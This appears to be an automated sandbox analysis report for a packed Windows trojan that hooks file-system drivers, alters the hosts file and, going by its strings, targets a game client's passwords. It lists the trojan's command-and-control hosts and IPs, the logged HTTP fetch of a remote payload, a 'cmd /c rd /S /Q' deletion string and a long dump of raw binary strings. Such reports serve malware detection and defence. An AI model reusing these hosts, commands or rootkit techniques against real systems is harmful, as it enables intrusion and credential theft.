MD5: 7ac385ff54401fcd9110932f5b27a1e6
SHA1: 04ebafdeb16f45593cffaeb27b7501eacce8c54e
SHA256: 6844a967ff7bf4440552d74fb25f68c15da70926876eba2fed9c94f1f641f3b2
SSDeep: 49152:9Yum0AB6CTqmj1kGTSCghskqmCxo 9uGuIsx1X7KN2DMW5dUlgas:9s0TCWmJkGTSCo6kUsrG8Dul4
Size: 1983968 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: ASPackv212, UPolyXv05_v6
Company: no certificate found
Created at: 2014-08-20 15:36:00
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:556

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:556 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\drivers\MointerfhjwHe.sys (55 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%System%\drivers\etc\hosts (74 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etciUrmi (0 bytes)
%System%\drivers\etc\hosts (0 bytes)

Registry activity

The process %original file name%.exe:556 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B5 B9 6B 58 80 A8 7E DB 70 98 48 45 6F 12 10 26"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@shell32.dll,-21785" = "Shared Documents"

Dropped PE files

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 74443 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

The Trojan's driver "%Drivers%\process1993.sys" substitutes a pointer of ParseProcedure function for the object Key.
Using the driver "%System%\Drivers\process1993.sys" the Trojan substitutes IRP handlers in a file system driver (NTFS) to control operations with files:

MJ_CREATE
MJ_SET_INFORMATION

Using the driver "%System%\Drivers\process1993.sys" the Trojan substitutes IRP handlers in a file system driver (FastFAT) to control operations with files:

MJ_CREATE
MJ_SET_INFORMATION

Propagation

VersionInfo

Company Name: ?????
Product Name: ?????
Product Version: Phoenixer
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.1.0.0
File Description: ??????????
Comments: ?????????
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://a.fhdlq.com/Remote.txt	162.212.181.235
h.bbyyjy.com	192.126.126.104
anti.fhdlq.com	162.212.181.236

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /Remote.txt HTTP/1.1

Host: a.fhdlq.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Length: 107828

Content-Type: text/plain

Last-Modified: Fri, 19 Sep 2014 06:11:59 GMT

Accept-Ranges: bytes

ETag: "4015139fd0d3cf1:b0a"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Sat, 20 Sep 2014 15:39:41 GMT
250D31322A33291F..85F895FCAAFB0206879E98918E018F05E9FA95FFF58FED9A0396
039D8D..0B373834113E3346271A273E7F7E7C7B787C847B84....859198960299B29C
8EF788F7898EFF8AB9FCAAFB020687..1D273E3A273E1A273E1D3331327F7E7C7B787C
847E7C..2A302B297F2A347B7A84..2F2732372A302B297F7C..2F2732372A302B293D
7F7C..859689F9BBFCFE99FCF9F88FAE039E89BFFAF1..283A2D383E307F7B..283A2D
383E307E7F7B..8501F68AB806BDF7898E008AB903A4FB9796FBFFF599E88BB8FFC4FD
90..08272A2732281C3E312D273D3D7F7B..8501F68AB806BDF7898EFF8AB903A4FB97
96FBFFF5968FF987FFA3FD9A081010928800C2..08272A2732280D303327323807447F
7C....8501F68AB806BDF8BE01F69A04FAF48FC49702FFF5FCF8979793B4FAF400048E
96F7F1FDBA9A04FAF48FC49702..1E2B3228312F113C2732173E307F7C..8501F68AB8
06BDFFF5FFA3FD9A018F05E9FA9514111D181D928800C2..10312D3514313D383D7F7B
..8501F68AB806BDFFF598A6018F05E9FA951307A8F18C8C8AB9FAE7FE0189FA94B59A
04FAF49EFD8DAA..0D3132383E313013077F7B..070F0E0708171E107F3438383C8671
71393939722A3428303B722D312F7138313C7234382F30....859302FDBF928800C28B
9CFBAF..250827300A3330271F..2D313732387F7C..7B7F082B382B202D30333B313D
72283030..7E7F2D30333B313D72283030..2534313D383D7B1F..859E98918E8A8BFB
92F9EEFE009702..333C7F7B7A7E727E7B7E727B847B727E7D7D..2D313732387F7B7C
7777..373E307B7F393939727D363931313130722D312F..373E307E7F393939722929
3931313130722D312F..373E307D7F2D7229293931313130722D312F..373E30787F39
3939727C777979352B3D722D312F..373E30777F393939722E2A2B2A38722D312F..37
3E307A7F393939727B7E7B7E3931313130722D312F..373E30797F3939397228273229
30373B337E7C7B7B722D312F..373E30847F393939723E2F2E3931313130722D31
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

.itext

.data

.idata

.rdata

.vmp0

.reloc

.rsrc

.aspack

.adata

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

%s[%d]

%s_%d

.Owner

USER32.DLL

comctl32.dll

TaskDialogIndirect

EInvalidGraphicOperation

Uht%C

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

ole32.dll

uxtheme.dll

DWMAPI.DLL

PasswordChar

OnKeyDown

OnKeyPressH

OnKeyUp

ssHorizontal

clWebSnow

clWebFloralWhite

clWebLavenderBlush

clWebOldLace

clWebIvory

clWebCornSilk

clWebBeige

clWebAntiqueWhite

clWebWheat

clWebAliceBlue

clWebGhostWhite

clWebLavender

clWebSeashell

clWebLightYellow

clWebPapayaWhip

clWebNavajoWhite

clWebMoccasin

clWebBurlywood

clWebAzure

clWebMintcream

clWebHoneydew

clWebLinen

clWebLemonChiffon

clWebBlanchedAlmond

clWebBisque

clWebPeachPuff

clWebTan

clWebYellow

clWebDarkOrange

clWebRed

clWebDarkRed

clWebMaroon

clWebIndianRed

clWebSalmon

clWebCoral

clWebGold

clWebTomato

clWebCrimson

clWebBrown

clWebChocolate

clWebSandyBrown

clWebLightSalmon

clWebLightCoral

clWebOrange

clWebOrangeRed

clWebFirebrick

clWebSaddleBrown

clWebSienna

clWebPeru

clWebDarkSalmon

clWebRosyBrown

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebOlive

clWebForestGreen

clWebGreenYellow

clWebChartreuse

clWebLightGreen

clWebAquamarine

clWebSeaGreen

clWebGoldenRod

clWebKhaki

clWebOliveDrab

clWebGreen

clWebYellowGreen

clWebLawnGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkgreen

clWebLimeGreen

clWebLime

clWebSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebLightCyan

clWebLightBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebIndigo

clWebMediumTurquoise

clWebTurquoise

clWebCyan

clWebPowderBlue

clWebSkyBlue

clWebRoyalBlue

clWebMediumBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebCadetBlue

clWebDarkCyan

clWebTeal

clWebDeepskyBlue

clWebDodgerBlue

clWebBlue

clWebNavy

clWebDarkViolet

clWebDarkOrchid

clWebMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebMediumOrchid

clWebMediumPurple

clWebPurple

clWebDeepPink

clWebLightPink

clWebViolet

clWebOrchid

clWebPlum

clWebThistle

clWebHotPink

clWebPink

clWebLightSteelBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebWhite

clWebLightgrey

clWebGray

clWebSteelBlue

clWebSlateBlue

clWebSlateGray

clWebWhiteSmoke

clWebSilver

clWebDimGray

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlategray

clWebGainsboro

clWebDarkGray

clWebBlack

msimg32.dll

Proportional

%s%s%s%s%s%s%s%s%s%s

AutoHotkeys

Hintl%F

AutoHotkeys0ZD

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

TKeyEvent

TKeyPressEvent

HelpKeyword

Height8%F

crSQLWait

%s (%s)

imm32.dll

ImgListp%F

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

GlassFrame.Bottom

GlassFrame.Enabled

GlassFrame.Left

GlassFrame.Right

GlassFrame.SheetOfGlass

GlassFrame.Top

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

User32.dll

tsShadow

TRzRegKey

hkeyClassesRoot

hkeyCurrentUser

hkeyLocalMachine

hkeyUsers

hkeyPerformanceData

hkeyCurrentConfig

hkeyDynData

TRzRegAccessKey

keyQueryValue

keySetValue

keyCreateSubKey

keyEnumerateSubKeys

keyNotify

keyCreateLink

keyRead

keyWrite

keyExecute

keyAllAccess

RegKey

\Software\Microsoft\Windows\CurrentVersion

%u / %u

MAPI32.DLL

Captionl%F

msShiftSelect

Indentl%F

OverlayImageIndexl%F

TComboBoxExEnumerator

%s, ClassID: %s

shell32.dll

netapi32.dll

olepro32.dll

IWebBrowser

IWebBrowserApp

IWebBrowser2P

IShellWindows

TWebBrowserStatusTextChange

TWebBrowserProgressChange

TWebBrowserCommandStateChange

TWebBrowserTitleChange

TWebBrowserPropertyChange

TWebBrowserBeforeNavigate2

TWebBrowserNewWindow2

TWebBrowserNavigateComplete2

TWebBrowserDocumentComplete

TWebBrowserOnVisible

TWebBrowserOnToolBar

TWebBrowserOnMenuBar

TWebBrowserOnStatusBar

TWebBrowserOnFullScreen

TWebBrowserOnTheaterMode

TWebBrowserWindowSetResizable

TWebBrowserWindowSetLeft

TWebBrowserWindowSetTop

TWebBrowserWindowSetWidth

TWebBrowserWindowSetHeight

TWebBrowserWindowClosing

TWebBrowserClientToHostWindow

TWebBrowserSetSecureLockIcon

TWebBrowserFileDownload

TWebBrowserNavigateError

%TWebBrowserPrintTemplateInstantiation

TWebBrowserPrintTemplateTeardown

TWebBrowserUpdatePageStatus

%TWebBrowserPrivacyImpactedStateChange

TWebBrowser

OnWindowSetResizable

OnWindowSetLeft

OnWindowSetTop`

OnWindowSetWidth

OnWindowSetHeight

TShellWindowsWindowRegistered

TShellWindowsWindowRevoked

TShellWindows

TShellWindowsX

Port

PSAPI.dll

1.0.4

HTTP://

supports

importNode

%s="%s"

%s%s%s: %d%s%s

8.8.8.8

EIdCanNotBindPortInRange

EIdInvalidPortRange

E:\Component\indy10\Lib\System\IdStreamVCL.pas

E:\Component\indy10\Lib\System\IdGlobal.pas

%s, %.2d %s %.4d %s %s

WS2_32.DLL

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

MSWSOCK.DLL

WSARecvMsg

WSASendMsg

Wship6.dll

Fwpuclnt.dll

TIdSocketListWindows

TIdStackWindowsU

EIdIPVersionUnsupported8;N

127.0.0.1

E:\Component\indy10\Lib\System\IdStack.pas

EIdPortRequiredtLN

EIdTCPConnectionError

EIdObjectTypeNotSupported

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.irv:1983

csISO16Portuguese

csISO84Portuguese2

windows-936

csShiftJIS

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csMicrosoftPublishing

Windows-31J

csWindows31J

windows-1250

windows-1251

windows-1252

windows-1253

windows-1254

windows-1255

windows-1256

windows-1257

windows-1258

TIdEncoder3to4.Encode: Calculated length exceeded (expected

E:\Component\indy10\Lib\Protocols\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

Password

IdHTTPHeaderInfo

ProxyPassword<

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

%d%s%d

ftpTransfer

ftpReady

ftpAborted

Port<

E:\Component\indy10\Lib\Core\IdIOHandler.pas

ClientPortMinh

ClientPortMax

PortSVW

"EIdTransparentProxyUDPNotSupported

TIdTCPConnection

IdTCPConnection

E:\Component\indy10\Lib\Core\IdIOHandlerStack.pas

TIdTCPClientCustom

IdTCPClient

TIdTCPClient

BoundPort<

%EIdSocksUDPNotSupportedBySOCKSVersion

saUsernamePassword

Passwordh

PortDZM

0.0.0.1

0.0.0.0

BoundPorth

DefaultPortDZM

E:\Component\indy10\Lib\Protocols\IdZLibCompressorBase.pas

HTTPS

CommentURL

E:\Component\indy10\Lib\Protocols\IdSSLOpenSSLHeaders.pas

libeay32.dll

ssleay32.dll

libssl32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

DES_set_key

RSA_generate_key

RSA_check_key

i2d_PrivateKey_bio

X509_set_pubkey

X509_REQ_set_pubkey

PEM_write_bio_PKCS8PrivateKey

PEM_read_bio_PrivateKey

EVP_PKEY_type

EVP_PKEY_new

EVP_PKEY_free

EVP_PKEY_assign

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

RootCertFile

CertFile

KeyFile

OnGetPassword<

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

E:\Component\indy10\Lib\Protocols\IdSSLOpenSSL.pas

TIdHTTPOption

IdHTTP

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPResponse

TIdHTTPRequest

TIdHTTPRequesttPP

TIdHTTPProtocol

TIdCustomHTTP

TIdHTTP

HTTPOptions

EIdHTTPProtocolException

E:\Component\indy10\Lib\Protocols\IdHTTP.pas

https

HTTP/1.0 200 OK

Uh.zP

HTTP/

.\Data\woool.dat.update

KERNEL32.DLL

\Data\config\maplist_2.0.xml|\Data\Data1.wpf|\Data\woool.dat

\config\maplist_2.0.xml|\Data1.wpf|\woool.dat

LocalPort

%s\cmd /c rd "%s" /S /Q

solokey

E:\Component\cnvcl\Source\Common\CnIni.pas

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

hi.baidu.com

TMainWorkEngine::ProcessWorkRcd UnKonw WorkStatus#: %d

:%dK/%dK

VVV.weibo.com

.\Data\config\ItemCfg.INI

.\Data\config\default\BestItem.ini

cliqos.dll

WidgetContent.IE.dll

cmd.exe

clbcatq.dll

winmm.dll

ws2_32.dll

ws2help.dll

lpk.dll

USP10.dll

winspool.drv

Wsock32.dll

dnsapi.dll

iphlpapi.dll

psapi.dll

urlmon.dll

UxTheme.dll

ntdll.dll

LoginDLL.dll

popup.dat

popupbf.dat

popuphf.dat

popupwb.dat

ws2_32.dll\hookdf\df4sb..

wsock32.dll\jacky\pj4sb..

hXXp://a.fhdlq.com/Remote.txt

hXXp://b.fhdlq.com/Remote.txt

hXXp://c.fhdlq.com/Remote.txt

hXXp://%s.fhdlq.com/Remote.txt

n%D,3

%url%

<iframe frameborder=0 scrolling="no" height="40" width="100%" src="%url%"></iframe>

RandomOpenUrl

EmbedUrl

RemoteUrl

hXXp://VVV.45woool.com

stoDefaultKeyHandling

TRzShellControlDefKeyRec

Software\Microsoft\Windows\CurrentVersion\Explorer

Data\map\0.nmp

0.nmp

EditPasswordt

720101-146720

1977/10/15

4445168-2012168

650101-1455111

1980/10/10

EditPasswordl

EditNewPasswordp

TfrmChangePassword

TfrmChangePassword$/R

LChgPassword

TfrmGetBackPassword

TfrmGetBackPassword`4R

LGetBackPassword

btnUrl1

btnUrl2

btnUrl3

btnChangePassWord

btnGetPassword

btnUrl4

WebPanel

WebBrowser

WebBrowser1!

WebBrowserNavigateComplete2

btnUrl1Click

btnUrl2Click

btnUrl3Click

btnGetPasswordClick

btnUrl4Click

Data\Config.ini

*.exe

woool.exe

wooolcfg.exe

wooolII.exe

222.73.2.97

113.108.210.138

116.211.11.137

116.211.11.138

180.96.33.146

180.96.33.147

180.96.32.18

Software\MicroSoft\Windows\CurrentVersion\Explorer

.\Data\Game.ini

ServerPort

GroupNick0

.\Data\woool.dat

.\Data\Config\maplist_2.0.xml

Data\config\default\asstool.ini

hXXp://anti.fhdlq.com/tj.html?ver=%d&engine=%d&ClientVer=%e&control=%s

woool.dat

hXXp://woool.sdo.com

.\wooolcfg.exe

18446744073709551615

Kernel32.dll

Open SSL Support DLL Delphi and C  Builder interface

hXXp://VVV.indyproject.org/

0123456789ABCDEF1.0.4

inflate 1.0.4 Copyright 1995-1996 Mark Adler

;3 #>6.&

'2, / 0&7!4-)1#

?456789:;<=

!"#$%&'()* ,-./0123

advapi32.dll

RegOpenKeyExA

RegCloseKey

user32.dll

GetKeyboardType

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutNameA

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

EnumChildWindows

ActivateKeyboardLayout

gdi32.dll

SetViewportOrgEx

GetViewportOrgEx

version.dll

WinExec

GetWindowsDirectoryA

GetCPInfo

RegFlushKey

RegCreateKeyExA

ShellExecuteA

].gDq

`.itext

`.data

.vmp1

@.rsrc

NtEnumerateKey

1F.WA

w>\%d

l3.pf

~c8.qu

bOsD.xB

-a}YRIT

<%sBS

iWl%D

.vYU>z1

|I.MY

J.HP$4

?%Si!

&<%cwt

PU.Fo'f

_c[.ue4\

.wj?M

Ar.jYm

.bwb$e

%Xq3 

eG.NU

.Qt6JT]p

o.qgl

7R.qS

4.va${

~I.wt2

%uudH

URLN

Nz.fJ

.vc[z

:%S]@

!s.KYR

.Lp%kS`

<.JzD8d

dpzz.pj`

y.ZlX

~m(.BF/

k%uf8

`.EnU

jF.aJ

x%Ui$

%.IFD

9"K s%DO

$&B%U

XsQlV

\{h%1s

^.Yp.

F.bEc

.Oo%#(A"w

/.Bvt

"-3Y}b

(%XT*

C}.Eb

.yZ%>k:

C.fvB

v.NC3

XG_%XK

).gEd

v.qxtj

@!%Ug

-9}li

;81.ar

d/.Jj^un[

D5%s1

_ØR

 .KZ&

_up6S.bKD

.yMDP&

@.ppy

G[".gz8

Bz[y%xu

.Yn:4

^.gc]z

ri%fP

 wj

.oB}|

.zAg}

wZ%fXC

.scRq%w/G

d|x.Oh

e&.if

G$.Rkb#

:(%x=v

/.cO\

yÁf

:.Sa.

Fl%Uo

i%Xej3=

Bw.Fi_

 n.Sf^

d<z..ME